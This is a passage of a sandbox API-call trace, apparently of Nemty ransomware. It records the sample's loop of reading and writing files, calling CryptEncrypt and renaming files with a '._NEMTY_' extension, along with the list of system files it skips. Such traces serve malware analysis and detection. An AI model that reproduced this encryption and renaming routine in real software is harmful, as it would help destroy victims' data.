lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.416] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.416] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.425] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.425] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.435] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.435] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.444] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.444] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.444] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.444] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.453] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.454] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.464] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.464] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.473] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.473] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.483] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.498] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.498] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.505] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.505] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63403e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0122.505] CloseHandle (hObject=0xffffffff) returned 0 [0122.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0122.505] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0122.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0122.505] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0122.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0122.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0122.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63440a0 [0122.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344158 [0122.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0122.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0122.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_settings.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_settings.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_settings.png._nemty_kgobjgd_")) returned 0 [0122.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0122.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0122.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0122.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0122.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0122.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0122.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0122.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0122.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0122.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.505] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c66e10, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82c66e10, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28caa0ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4c3b, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="trad.png", cAlternateFileName="")) returned 1 [0122.505] lstrcmpiW (lpString1="trad.png", lpString2=".") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="..") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="...") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="windows") returned -1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="$RECYCLE.BIN") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="rsa") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="NTDETECT.COM") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="ntldr") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="MSDOS.SYS") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="IO.SYS") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="boot.ini") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="boot.ini") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="AUTOEXEC.BAT") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="ntuser.dat") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="desktop.ini") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="CONFIG.SYS") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="RECYCLER") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="BOOTSECT.BAK") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="bootmgr") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="programdata") returned 1 [0122.506] lstrcmpiW (lpString1="trad.png", lpString2="appdata") returned 1 [0122.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0122.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad.png", lpUsedDefaultChar=0x0) returned 8 [0122.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0122.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0122.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad.png", lpUsedDefaultChar=0x0) returned 8 [0122.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0122.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0122.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad.png", cchWideChar=8, lpMultiByteStr=0x653ec20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad.png", lpUsedDefaultChar=0x0) returned 8 [0122.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0122.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad.png", cchWideChar=8, lpMultiByteStr=0x653ec58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad.png", lpUsedDefaultChar=0x0) returned 8 [0122.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0122.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0122.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0122.507] Sleep (dwMilliseconds=0x5) [0122.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfcacb3f0, dwHighDateTime=0x1d561e7)) [0122.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfcacb3f0, dwHighDateTime=0x1d561e7)) [0122.520] GetLastError () returned 0x5 [0122.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0122.521] GetLastError () returned 0x5 [0122.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0122.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0122.521] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0122.521] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0122.521] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0122.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0122.521] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="9XWEAqQ+cJUiFKzOeHCd7MKiQRlZzH+3Y0pXmX1EutU7Kfior2Pfzgk/QtQDhy9V\r\nQ7wlBtXHNv4OgjAYVi7HzOOfI9qAUA5pxX1g+rhJOzMdSXltjXtnMcZ+RZ6EN3d/\r\nOTVAvw/12/KpPQxSVoymP0Skh8/gG22g/seRmc3wj5796upZjwP830dMOk1zelr9\r\nBnuS7J901GaJodGIO/q40mMrPQK9URcb4I2XHsyqmvchW+sqpqAwpO6fkjO2ppE9\r\n8lhPdmJwI6nCB1RviSKuPEFxtayOrkVwNHR5YCIOsctk+paUb8+a6tum2x0wALif\r\nR/E0kuJS0vLnjy5behErnw==\r\n", pcchString=0x653e91c) returned 1 [0122.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0122.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0122.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0122.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0122.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0122.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0122.521] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.521] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0122.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0122.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.522] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.547] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.547] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.557] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.557] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.566] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.566] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.576] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.576] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, 